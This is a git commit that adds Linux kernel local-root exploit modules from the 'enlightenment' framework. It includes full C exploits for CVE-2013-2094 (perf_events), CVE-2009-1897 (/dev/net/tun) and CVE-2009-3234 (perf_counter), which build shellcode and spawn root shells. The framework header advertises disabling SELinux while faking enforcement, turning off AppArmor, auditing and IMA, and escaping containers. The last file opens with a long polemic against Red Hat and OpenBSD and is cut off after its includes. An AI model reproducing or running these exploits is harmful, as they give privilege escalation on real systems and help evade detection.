add skidcode

This commit is contained in:
Christine Dodrill 2015-09-10 21:36:55 -07:00
parent fe10074c38
commit 0ee7cc155c
17 changed files with 4434 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@ -0,0 +1,4 @@
*.o
*.so
exploit
pwnkernel

618
exp_abacus.c Normal file
View File

@ -0,0 +1,618 @@
/*
* original exploit by sd@fucksheep.org, written in 2010
* heavily modified by spender to do things and stuff
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include "exp_framework.h"
#include <assert.h>
#define BIT64 (sizeof(unsigned long) != sizeof(unsigned int))
struct exploit_state *exp_state;
int is_old_kernel = 0;
char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
char *cve = "CVE-2013-2094";
int requires_null_page = 0;
#define JMPLABELBASE64 0x1780000000
#define JMPLABELBASE32 0x01980000
#define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
#define JMPLABELNOMODBASE64 0xd80000000
#define JMPLABELNOMODBASE32 0x40000000
#define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
#define BASE64 0x380000000
#define BASE32 0x80000000
#define BASE (BIT64 ? BASE64 : BASE32)
#define SIZE64 0x04000000
#define SIZE32 0x01000000
#define SIZE (BIT64 ? SIZE64 : SIZE32)
#define KSIZE (BIT64 ? 0x2000000 : 0x2000)
#define SYSCALL_NO (BIT64 ? 298 : 336)
#define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
unsigned long num_incs1;
unsigned long probe1addr;
unsigned long probe2addr;
unsigned long probebase;
static int wrap_val;
static int structsize;
static int has_jmplabel;
static int is_unaligned;
static int target_offset;
static int computed_index;
static unsigned long target_addr;
static unsigned long array_base;
unsigned long kbase;
static int xen_pv;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int ring0_cleanup(void)
{
if (BIT64) {
if (xen_pv) {
*(unsigned int *)(target_addr + target_offset) = 0;
} else {
*(unsigned int *)(target_addr + target_offset) = 0xffffffff;
}
/* clean up the probe effects for redhat tears */
*(unsigned int *)(array_base - structsize) = *(unsigned int *)(array_base - structsize) - num_incs1;
*(unsigned int *)(array_base - (2 * structsize)) = *(unsigned int *)(array_base - (2 * structsize)) - 1;
}
/* on 32bit we let the kernel clean up for us */
return 0;
}
int main_pid;
int signals_dont_work[2];
int total_children;
static int send_event(uint32_t off, int is_probe) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
int fd;
if ((int)off >= 0) {
printf(" [-] Target is invalid, index is positive.\n");
exit(1);
}
if (getpid() == main_pid)
printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
if (fd < 0) {
printf(" [-] System rejected creation of perf event. Either this system is patched, or a previous failed exploit was run against it.\n");
if (is_probe || BIT64)
exit(1);
}
/* we don't need to hold them open in the xen pv ops case on x64 */
if (BIT64)
close(fd);
return fd;
}
//static unsigned long security_ops;
void ptmx_trigger(void)
{
struct iovec iov;
int fd;
fd = open("/dev/ptmx", O_RDWR);
if (fd < 0) {
printf(" [-] Unable to open /dev/ptmx\n");
exit(1);
}
/* this choice is arbitrary */
iov.iov_base = &iov;
iov.iov_len = sizeof(iov);
/* this one is not ;) */
if (xen_pv && is_unaligned)
writev(fd, &iov, 1);
else
readv(fd, &iov, 1);
// won't reach here
close(fd);
}
static void check_maxfiles(void)
{
unsigned long maxfiles;
FILE *f = fopen("/proc/sys/fs/file-max", "r");
if (f) {
fscanf(f, "%lu", &maxfiles);
fclose(f);
if (maxfiles < kbase) {
printf(" [-] Lack of sufficient RAM or low fs.file-max sysctl setting prevents our choice of exploitation.\n");
exit(1);
}
}
return;
}
int trigger(void)
{
/* !SMEP version */
printf(" [!] Array base is %p\n", (void *)array_base);
printf(" [!] Detected structure size of %d bytes\n", structsize);
printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
#ifdef __x86_64__
if (xen_pv) {
int i;
for (i = 0; i < kbase; i++) {
send_event(computed_index, 0);
}
ptmx_trigger();
} else {
send_event(computed_index, 0);
if (is_unaligned) {
asm volatile (
"pushfq\n"
"orq $0x40000, (%rsp)\n"
"popfq\n"
"test %rax, 0x1(%rsp)\n"
);
} else {
asm("int $0x4");
}
}
#else
{
unsigned long kbase_counter = 0;
int ret;
int pipes[2];
int i;
char garbage;
int max_open = 768;
int real_max = 1024;
struct rlimit rlim = { 0 };
if (!getrlimit(RLIMIT_NOFILE, &rlim)) {
real_max = rlim.rlim_max;
max_open = rlim.rlim_max - 50;
rlim.rlim_cur = rlim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &rlim))
max_open = 768;
}
/* child notification/reaping code from zx2c4 */
pipe(pipes);
pipe(signals_dont_work);
main_pid = getpid();
total_children = 0;
printf(" [!] Forking off %lu children to set required pointer value, please wait...\n", (kbase + max_open - 1) / max_open);
while (kbase_counter < kbase) {
if (!fork()) {
int x;
int savefd1, savefd2;
savefd1 = pipes[1];
savefd2 = signals_dont_work[0];
for (x = 0; x < real_max; x++)
if (x != savefd1 && x != savefd2)
close(x);
for (x = 0; x < max_open; x++)
send_event(computed_index, 0);
write(pipes[1], &garbage, 1);
read(signals_dont_work[0], &garbage, 1);
_exit(0);
}
kbase_counter += max_open;
total_children++;
}
for (i = 0; i < total_children; i++)
read(pipes[0], &garbage, 1);
ptmx_trigger();
}
#endif
/* SMEP/SMAP version, shift security_ops */
//security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
//target_addr = security_ops;
//target_offset = 0;
//computed_index = -((array_base-target_addr-target_offset)/structsize);
//
//for (i = 0; i < sizeof(unsigned long); i++)
// send_event(computed_index, 0);
// add fancy trigger here
return 0;
}
int post(void)
{
write(signals_dont_work[1], &total_children, total_children);
return RUN_ROOTSHELL;
}
static unsigned char *map_page_file_fixed(unsigned long addr, int prot, int fd)
{
unsigned char *mem;
mem = (unsigned char *)mmap((void *)addr, 0x1000, prot, MAP_SHARED | MAP_FIXED, fd, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap file\n");
exit(1);
}
return mem;
}
static unsigned char *map_anon_page(void)
{
unsigned char *mem;
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap\n");
exit(1);
}
return mem;
}
static void fill_file_with_char(const char *filename, unsigned char thechar)
{
int fd;
unsigned char *mem;
fd = open(filename, O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create mmap file\n");
exit(1);
}
mem = map_anon_page();
memset(mem, thechar, 0x1000);
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
return;
}
static inline unsigned long page_align(unsigned long addr)
{
return addr & ~0x0FFFUL;
}
/* 100% of the time this works every time
* it's also completely ridiculous
*
* elito hungarian techniques!
*/
static int super_secure_probe_not_like_black_panther(void)
{
unsigned long bases[3] = { BASE, JMPLABELBASE, JMPLABELNOMODBASE };
int uniquefds[3];
unsigned long currunique;
unsigned long p;
unsigned long probe1page;
int i, x;
int fd1, fd2;
unsigned int *probe;
int mapidx = -1;
unsigned long stride;
unsigned long strideidx;
unsigned long low, high;
unsigned long ourbase;
unsigned long sel;
fill_file_with_char("./lock_me_macaroni_1", 0x44);
fill_file_with_char("./lock_me_macaroni_2", 0x44);
fill_file_with_char("./lock_me_macaroni_3", 0x44);
uniquefds[0] = open("./lock_me_macaroni_1", O_RDWR);
uniquefds[1] = open("./lock_me_macaroni_2", O_RDWR);
uniquefds[2] = open("./lock_me_macaroni_3", O_RDWR);
if (uniquefds[0] < 0 || uniquefds[1] < 0 || uniquefds[2] < 0) {
printf("Unable to open userland buffer files\n");
exit(1);
}
unlink("./lock_me_macaroni_1");
unlink("./lock_me_macaroni_2");
unlink("./lock_me_macaroni_3");
printf(" [!] Securely probing with great effort\n");
/* isolate to a single map */
for (i = 0; i < 3; i++) {
for (p = bases[i]; p < bases[i] + SIZE; p += 0x1000) {
map_page_file_fixed(p, PROT_READ | PROT_WRITE, uniquefds[i]);
if (p == bases[i]) {
char c;
assert(!mlock((void *)p, 0x1000));
/* set up pte */
c = *(volatile char *)p;
}
}
}
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
num_incs1++;
for (i = 0; i < 3; i++) {
probe = (unsigned int *)(bases[i]);
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
mapidx = i;
goto foundit;
}
}
}
foundit:
if (!BIT64)
close(fd1);
if (mapidx == -1) {
printf(" [-] Unsupported configuration.\n");
exit(1);
}
for (i = 0; i < 3; i++) {
if (i != mapidx)
munmap(bases[i], SIZE);
}
ourbase = bases[mapidx];
stride = SIZE / 2;
low = ourbase;
high = low + SIZE;
while (stride >= 0x1000) {
for (p = low; p < high; p += stride) {
memset((void *)p, 0x44, 0x1000);
msync((void *)p, 0x1000, MS_SYNC);
for (strideidx = 0; strideidx < stride/0x1000; strideidx++) {
sel = (p < (low + stride)) ? 0 : 1;
map_page_file_fixed(p + (strideidx * 0x1000), PROT_READ | PROT_WRITE, uniquefds[sel]);
}
}
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
num_incs1++;
probe = (unsigned int *)low;
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
high = low + stride;
probe1addr = (unsigned long)&probe[x];
}
}
probe = (unsigned int *)(low + stride);
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
if (probe[x] == MAGICVAL) {
low = low + stride;
probe1addr = (unsigned long)&probe[x];
}
}
if (!BIT64)
close(fd1);
stride /= 2;
}
probe1page = page_align(probe1addr);
if (!probe1addr) {
printf(" [-] Unsupported configuration.\n");
exit(1);
}
gotprobe:
/* blow away old mappings here */
map_page_file_fixed(probe1page - 0x1000, PROT_READ | PROT_WRITE, uniquefds[0]);
map_page_file_fixed(probe1page, PROT_READ | PROT_WRITE, uniquefds[1]);
map_page_file_fixed(probe1page + 0x1000, PROT_READ | PROT_WRITE, uniquefds[2]);
memset((void *)(probe1page - 0x1000), 0x44, 0x3000);
fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1, 1);
probe = (unsigned int *)(probe1page - 0x1000);
for (i = 0; i < 0x3000/sizeof(unsigned int); i++) {
if (probe[i] == MAGICVAL) {
probe2addr = (unsigned long)&probe[i];
break;
}
}
if (!BIT64)
close(fd2);
close(uniquefds[0]);
close(uniquefds[1]);
close(uniquefds[2]);
return abs(probe1addr - probe2addr);
}
int prepare(unsigned char *buf)
{
unsigned char *mem;
unsigned char *p;
int fd;
unsigned long idx;
char c;
assert(!mlock(&num_incs1, 0x1000));
structsize = super_secure_probe_not_like_black_panther();
if (structsize > 4)
has_jmplabel = 1;
wrap_val = (probe2addr - probebase) + 2 * structsize;
if (BIT64) {
/* use masked kernel range here */
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
target_addr = idt.addr;
array_base = 0xffffffff80000000UL | wrap_val;
if ((target_addr & 0xfffffffff0000000UL) != 0xffffffff80000000UL) {
xen_pv = 1;
printf(" [!] Xen PV possibly detected, switching to alternative target\n");
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
if (!target_addr) {
printf(" [-] Symbols required for Xen PV exploitation (in this exploit).\n");
exit(1);
}
target_offset = 4 * sizeof(unsigned long);
if (has_jmplabel) {
if ((array_base - target_addr - target_offset) % structsize) {
is_unaligned = 1;
target_offset = 5 * sizeof(unsigned long);
}
}
} else {
/* do we need to target AC instead? */
if (has_jmplabel) {
if ((array_base - target_addr) % structsize) {
is_unaligned = 1;
target_offset = 0x118;
} else
target_offset = 0x48;
} else
target_offset = 0x48;
}
computed_index = -((array_base-target_addr-target_offset)/structsize);
} else {
int brute;
/* use just above mmap_min_addr here */
kbase = 0;
while (1) {
mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem != MAP_FAILED) {
printf(" [!] Placing payload just above mmap_min_addr at %p\n", (void *)kbase);
check_maxfiles();
munmap((void *)kbase, 0x1000);
break;
} else
kbase += 0x1000;
}
array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
if (!target_addr || !array_base) {
printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
exit(1);
}
target_offset = 4 * sizeof(unsigned long);
computed_index = 0;
for (brute = -1; brute < 0; brute--) {
if (array_base + (brute * structsize) == (target_addr + target_offset)) {
computed_index = brute;
break;
}
}
if (!computed_index) {
printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
exit(1);
}
}
fill_file_with_char("./suckit_selinux_nopz", 0x90);
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create shellcode file\n");
exit(1);
}
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap nop sled\n");
goto error;
}
memset(mem, 0x90, 0x1000);
p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
if (BIT64) {
// swapgs
p[0] = 0x0f;
p[1] = 0x01;
p[2] = 0xf8;
}
p += 3;
// call own_the_kernel
p[0] = 0xff;
p[1] = 0x15;
*(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
// call exit_kernel
p[6] = 0xff;
p[7] = 0x25;
*(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
*(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
*(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
fd = open("./suckit_selinux_nopz", O_RDONLY);
if (fd < 0) {
printf("unable to open nop sled file for reading\n");
goto error;
}
// map in nops and page them in
for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
printf("unable to mmap\n");
goto error;
}
if (!idx)
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
}
close(fd);
fd = open("./suckit_selinux", O_RDONLY);
if (fd < 0) {
printf("unable to open shellcode file for reading\n");
goto error;
}
mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
close(fd);
if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
printf("unable to mmap\n");
goto error;
}
assert(!mlock(mem, 0x1000));
c = *(volatile char *)mem;
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
return 0;
error:
unlink("./suckit_selinux");
unlink("./suckit_selinux_nopz");
exit(1);
}

87
exp_cheddarbay.c Normal file
View File

@ -0,0 +1,87 @@
/* wunderbar */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include "exp_framework.h"
struct exploit_state *exp_state;
#define OFFSET_OF_FLAGS 0x8
struct sock {
char gibberish1[0x60];
char gibberish2[0xe0];
unsigned long gibberish3[0x50];
};
char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root";
char *cve = "CVE-2009-1897";
int prepare(unsigned char *buf)
{
struct sock *sk = (struct sock *)buf;
struct pollfd pfd;
unsigned long target_addr;
int i;
int fd;
fd = open("/dev/net/tun", O_RDONLY);
if (fd < 0) {
fprintf(stdout, "Unable to open /dev/net/tun!\n");
return 0;
}
close(fd);
fd = open("/dev/net/tun", O_RDWR);
if (fd < 0) {
fprintf(stdout, "Unable to open /dev/net/tun!\n");
return 0;
}
target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11);
memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
pfd.fd = fd;
pfd.events = POLLIN | POLLOUT;
poll(&pfd, 1, 0);
close(fd);
return EXECUTE_AT_NONZERO_OFFSET | 1;
}
int requires_null_page = 1;
int requires_symbols_to_trigger = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
int fd;
fd = open("/dev/net/tun", O_RDONLY);
if (fd < 0)
return 0;
mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}

129
exp_framework.h Normal file
View File

@ -0,0 +1,129 @@
/* enlightenment 200912092327
enlightenment is an exploitation framework mostly geared towards the
exploitation of null ptr dereference bugs, though its routines are
applicable to overflows and other bugclasses as well. It's a public
demonstration of the capabilities of kernel exploits, useful for
commercial pentesting or verifying the security of your own systems.
enlightenment supports:
all kernels 2.4 and 2.6/3.x (both x86 and x64)
setting *uid/ *gid 0
clearing supplementary groups
raising to full capabilities
pre and post cred structures
breaking out of chroots and mnt namespaces
breaking out of vserver containers
breaking out of OpenVZ containers
breaking out of user namespaces
disabling No New Privs (NNP)
disabling SECCOMP
automatically switches from interrupt disabled -> process context
uses kernel's internal symbol table for added functionality
page table parsing on x64 for reliability in code scanning
cloning of init's cred structure (when no cred symbols are present)
CONFIG_DEBUG_RODATA bypass (both old and new versions)
xen hypercalls for .text modification on new DEBUG_RODATA under Xen
SELinux execmod/execmem bypassing
SELinux disabling (and faking continued enforcement)
even if the toggling variable has no generated symbol
IMA disabling (rendering its TPM-based integrity checks worthless)
Apparmor disabling
Auditing disabling
Tomoyo disabling
generic LSM disabling
all public methods of bypassing mmap_min_addr
SMEP detection
defeats proposed "exploit detection" : https://lkml.org/lkml/2013/12/12/358
pearls of wisdom from some of the greatest writers and thinkers of
the past couple centuries :)
To create your own exploit module for enlightenment, just name it
exp_whatever.c
It will be auto-compiled by the shell script and thrown into
the list of loaded exploit modules
if you want to use the list of non-NULL exploits:
./run_nonnull_exploits.sh
if you want to run the list of NULL ptr deref exploits:
./run_null_exploits.sh
Each module must have the following features:
It must include this header file, exp_framework.h
A description of the exploit, the variable being named "desc"
A "prepare" function: int prepare(unsigned char *ptr)
where ptr is the ptr to the NULL mapping, which you are able to write to
This function can return the flags described below for prepare_the_exploit
Return 0 for failure otherwise
A "trigger" function: int trigger(void)
Return 0 for failure, nonzero for success
A "post" function: int post(void)
This function can return the flags described below for post_exploit
A "requires_null_page" int: int requires_null_page;
This should be 1 if a NULL page needs to be mapped, and 0 otherwise
(if you want to use the framework to exploit non-NULL ptr bugs)
A "ring0_cleanup" function: int ring0_cleanup(void)
Return value is ignored, this function is optional
A "get_exploit_state_ptr" function:
int get_exploit_state_ptr(struct exploit_state *ptr)
Generally this will always be implemented as:
struct *exp_state;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
It gives you access to the exploit_state structure listed below,
get_kernel_sym allows you to resolve symbols
own_the_kernel is the function that takes control of the kernel
(in case you need its address to set up your buffer)
the other variables describe the exploit environment, so you can
for instance, loop through a number of vulnerable socket domains
until you detect ring0 execution has occurred.
That's it!
*/
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8

127
exp_ingom0wnar.c Normal file
View File

@ -0,0 +1,127 @@
/* Ingo m0wnar */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include "exp_framework.h"
#undef __NR_perf_counter_open
#ifdef __x86_64__
#define __NR_perf_counter_open 298
//#define OFFSET_OF_IP 0x88
#define BUF_SIZE 0x100
#else
#define __NR_perf_counter_open 336
//#define OFFSET_OF_IP 0x5c
#define BUF_SIZE 0x80
#endif
struct perf_counter_attr {
unsigned int type;
unsigned int size;
};
struct exploit_state *exp_state;
char *desc = "Ingo m0wnar: Linux 2.6.31 perf_counter local root (Ingo backdoor method)";
char *cve = "CVE-2009-3234";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 0;
static char *dirty_code;
int prepare(unsigned char *ptr)
{
char *mem;
int fd;
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
if (fd < 0) {
printf("unable to create file\n");
exit(1);
}
mem = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
printf("unable to mmap\n");
unlink("./suckit_selinux");
exit(1);
}
mem[0] = '\xff';
mem[1] = '\x15';
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : (unsigned int)mem + 12;
mem[6] = '\xff';
mem[7] = '\x25';
*(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : (unsigned int)mem + 16;
*(unsigned long *)&mem[12] = (unsigned long)exp_state->own_the_kernel;
*(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
write(fd, mem, 0x1000);
close(fd);
munmap(mem, 0x1000);
fd = open("./suckit_selinux", O_RDONLY);
if (fd < 0) {
printf("unable to open file for reading\n");
unlink("./suckit_selinux");
exit(1);
}
dirty_code = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
if (dirty_code == MAP_FAILED) {
printf("unable to mmap\n");
exit(1);
}
unlink("./suckit_selinux");
return 0;
}
int trigger(void)
{
struct perf_counter_attr *ctr;
int tid;
int i;
ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
if (ctr == NULL) {
fprintf(stdout, "out of memory\n");
exit(1);
}
/* Ingo's 3 line backdoor, reminds me of wait4() */
//ctr->size = BUF_SIZE;
//*(unsigned long *)((char *)ctr + OFFSET_OF_IP) = (unsigned long)dirty_code;
//syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
/* just in case it gets compiled differently... ;) */
ctr->size = BUF_SIZE;
for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) {
if (!(i % (sizeof(unsigned long) * sizeof(unsigned long))))
continue;
*(unsigned long *)((char *)ctr + i) = (unsigned long)dirty_code;
}
syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
/* if we're successful, we won't get to this next line */
fprintf(stdout, "System is not vulnerable.\n");
exit(1);
return 0;
}
int post(void)
{
return RUN_ROOTSHELL;
}

468
exp_moosecox.c Normal file
View File

@ -0,0 +1,468 @@
/* exp_moosecox.c
Watch a video of the exploit here:
http://www.youtube.com/watch?v=jt81NvaOj5Y
developed entirely by Ingo Molnar (exploit writer extraordinaire!) ,
thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)
dedicated to the Red Hat employees who get paid to copy+paste my
twitter and issue security advisories, their sweet
acknowledgement policy, and general classiness
see: https://bugzilla.redhat.com/show_activity.cgi?id=530490
"policy" aside, there's a word for what you guys are doing: "plagiarism"
in fact, i tested this one day by posting three links to twitter,
without any discussion on any of them. the same day, those three
(and only those three) links were assigned CVEs, even though two of
them weren't even security bugs (it doesn't pay to copy+paste)
official Ingo Molnar (that's me) policy for acknowledgement in
exploits requires general douche-ness or plagiarization
official policy further dictates immediate exploit release for
embargoed, patched bug
I'll be curious to see what the CVE statistics are like for the
kernel this year when they get compiled next year -- I'm predicting
that when someone's watching the sleepy watchers, a more personal
interest is taken in doing the job that you're paid to do correctly.
--------------------------------------------------------------------
Special PS note to Theo (I can do this here because I know he'll
never read it -- the guy is apparently oblivious to the entire world of
security around him -- the same world that invents the protections
years before him that he pats himself on the back for "innovating")
Seriously though, it's incredible to me that an entire team
of developers whose sole purpose is to develop a secure operating
system can be so oblivious to the rest of the world. They haven't
innovated since they replaced exploitable string copies with
exploitable string truncations 6 or so years ago.
The entire joke of a thread can be read here:
http://www.pubbs.net/openbsd/200911/4582/
"Our focus therefore is always on finding innovative ideas which make
bugs very hard to exploit succesfully."
"He's too busy watching monkey porn instead of
building researching last-year's security technology that will stop
an exploit technique that has been exploited multiple times."
"it seems that everyone else is slowly coming around to the
same solution."
So let's talk about this "innovation" of theirs with their
implementation of mmap_min_addr:
They implemented it in 2008, a year after Linux implemented it, a
year after the public phrack article on the bug class, more than a
year after my mail to dailydave with the first public Linux kernel
exploit for the bug class, and over two years after UDEREF was
implemented in PaX (providing complete protection against the smaller
subset of null ptr dereference bugs and the larger class of invalid
userland access in general).
OpenBSD had a public null pointer dereference exploit (agp_ioctl())
published for its OS in January of 2007. It took them over a year
and a half to implement the same feature that was implemented in
Linux a few months after my public exploit in 2007.
So how can it be that "everyone else is slowly coming around to the
same solution" when "everyone else" came to that solution over a
year before you Theo? In fact, I prediced this exact situation would
happen back in 2007 in my DD post:
http://lists.virus.org/dailydave-0703/msg00011.html
"Expect OpenBSD to independently invent a protection against null ptr
deref bugs sometime in 2009."
Let's talk about some more "innovation" -- position independent
executables. PaX implemented position independent executables on
Linux back in 2001 (ET_DYN). PIE binary support was added to GNU
binutils in 2003. Those OpenBSD innovators implemented PIE binaries
in 2008, 7 years after PaX. Innovation indeed!
How about their W^X/ASLR innovation? These plagiarists have the
audacity to announce on their press page:
http://www.openbsd.org/press.html
"Microsoft borrows one of OpenBSD's security features for Vista,
stack/library randomization, under the name Address Space Layout
Randomization (ASLR). "Until now, the feature has been most
prominently used in the OpenBSD Unix variant and the PaX and Exec
Shield security patches for Linux""
Borrowing one of your features? Where'd this ASLR acronym come from
anyway? Oh that's right, PaX again -- when they published the first
design and implementation of it, and coined the term, in July 2001.
It covered the heap, mmap, and stack areas.
OpenBSD implemented "stack-gap randomization" in 2003. Way to
innovate!
W^X, which is a horrible name as OpenBSD doesn't even enforce it with
mprotect restrictions like PaX did from the beginning or even SELinux
is doing now (from a 3rd party contribution modeled after PaX):
PaX implemented true per-page non-executable page support, protecting
binary data, the heap, and the stack, back in 2000.
OpenBSD implemented it in 2003, requiring a full userland rebuild.
The innovation is overwhelming!
They keep coming up with the same exact "innovations" others came up
with years before them. Their official explanation for where they
got the W^X/ASLR ideas was a drunk guy came into their tent at one of
their hack-a-thons and started talking about the idea. They had
never heard of PaX when we asked them in 2003. Which makes the
following involuntarily contributed private ICB logs from Phrack #66
(Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:
On some sunny day in July 2002 (t: Theo de Raadt):
<cloder> why can't you just randomize the base
<cloder> that's what PaX does
<t> You've not been paying attention to what art's saying, or you don't
understand yet, either case is one of think it through yourself.
<cloder> whatever
Only to see poetic justice in August 2003 (ttt: Theo again):
<miod> more exactly, we heard of pax when they started bitching
<ttt> miod, that was very well spoken.
That wraps up our OpenBSD history lesson, in case anyone forgot it.
PS -- enjoy that null ptr deref exploit just released for OpenBSD.
--------------------------------------------------------------------
Important final exploit notes:
don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
or DEBUG_SPINLOCK are enabled and modify the structures below
accordingly -- a fancier exploit would do this automatically
I've broken the 2.4->2.6.10 version of the exploit and would like to see
someone fix it ;) See below for more comments on this.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
